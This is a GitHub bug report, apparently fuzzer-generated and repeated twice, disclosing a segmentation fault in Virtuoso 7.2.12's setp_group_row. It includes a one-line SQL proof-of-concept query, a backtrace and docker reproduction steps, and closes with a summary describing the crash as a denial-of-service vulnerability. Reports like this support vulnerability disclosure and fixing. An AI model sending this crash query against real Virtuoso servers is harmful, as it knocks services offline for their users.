Fuzzer: Virtuoso 7.2.12 crashed at `setp_group_row`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT x FROM ( SELECT x FROM ( SELECT 0 x ) x UNION SELECT ( LOG ( 1073741824 ) / ( 1024 ) ) ) x GROUP BY CUBE ( 1 ) ORDER BY AVG ( x );
```

backtrace:
```c
#0 0x532cf2 (setp_group_row+0xd72)
#1 0x63ca02 (setp_node_run+0x6e2)
#2 0x63d263 (setp_node_input+0x33)
#3 0x7b912e (qn_input+0x3ce)
#4 0x7c583d (gs_union_node_input+0x7d)
#5 0x7b912e (qn_input+0x3ce)
#6 0x7b9596 (qn_send_output+0x236)
#7 0x82c545 (subq_node_vec_input+0x4a5)
#8 0x7b912e (qn_input+0x3ce)
#9 0x7c68fb (fun_ref_node_input+0x36b)
#10 0x7b912e (qn_input+0x3ce)
#11 0x7c68fb (fun_ref_node_input+0x36b)
#12 0x7b912e (qn_input+0x3ce)
#13 0x7b9596 (qn_send_output+0x236)
#14 0x82bd7d (set_ctr_vec_input+0x99d)
#15 0x7b912e (qn_input+0x3ce)
#16 0x7ca91b (qr_exec+0x11db)
#17 0x7d82b6 (sf_sql_execute+0x11a6)
#18 0x7d8dbe (sf_sql_execute_w+0x17e)
#19 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#20 0xe2a11c (future_wrapper+0x3fc)
#21 0xe31a1e (_thread_boot+0x11e)
#22 0x7f2ed0a43609 (start_thread+0xd9)
#23 0x7f2ed0813353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.12 crashed at `setp_group_row`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.12 crashed at `setp_group_row`
Issue date:

--- start body ---
Fuzzer: Virtuoso 7.2.12 crashed at `setp_group_row`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT x FROM ( SELECT x FROM ( SELECT 0 x ) x UNION SELECT ( LOG ( 1073741824 ) / ( 1024 ) ) ) x GROUP BY CUBE ( 1 ) ORDER BY AVG ( x );
```

backtrace:
```c
#0 0x532cf2 (setp_group_row+0xd72)
#1 0x63ca02 (setp_node_run+0x6e2)
#2 0x63d263 (setp_node_input+0x33)
#3 0x7b912e (qn_input+0x3ce)
#4 0x7c583d (gs_union_node_input+0x7d)
#5 0x7b912e (qn_input+0x3ce)
#6 0x7b9596 (qn_send_output+0x236)
#7 0x82c545 (subq_node_vec_input+0x4a5)
#8 0x7b912e (qn_input+0x3ce)
#9 0x7c68fb (fun_ref_node_input+0x36b)
#10 0x7b912e (qn_input+0x3ce)
#11 0x7c68fb (fun_ref_node_input+0x36b)
#12 0x7b912e (qn_input+0x3ce)
#13 0x7b9596 (qn_send_output+0x236)
#14 0x82bd7d (set_ctr_vec_input+0x99d)
#15 0x7b912e (qn_input+0x3ce)
#16 0x7ca91b (qr_exec+0x11db)
#17 0x7d82b6 (sf_sql_execute+0x11a6)
#18 0x7d8dbe (sf_sql_execute_w+0x17e)
#19 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#20 0xe2a11c (future_wrapper+0x3fc)
#21 0xe31a1e (_thread_boot+0x11e)
#22 0x7f2ed0a43609 (start_thread+0xd9)
#23 0x7f2ed0813353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the `setp_group_row` function of Virtuoso 7.2.12 and 7.2.13-dev.3239-pthreads allows attackers to cause a Denial of Service (DoS) via a specially crafted SQL query. The provided PoC demonstrates how to trigger the crash, indicating a potential vulnerability in the SQL execution path.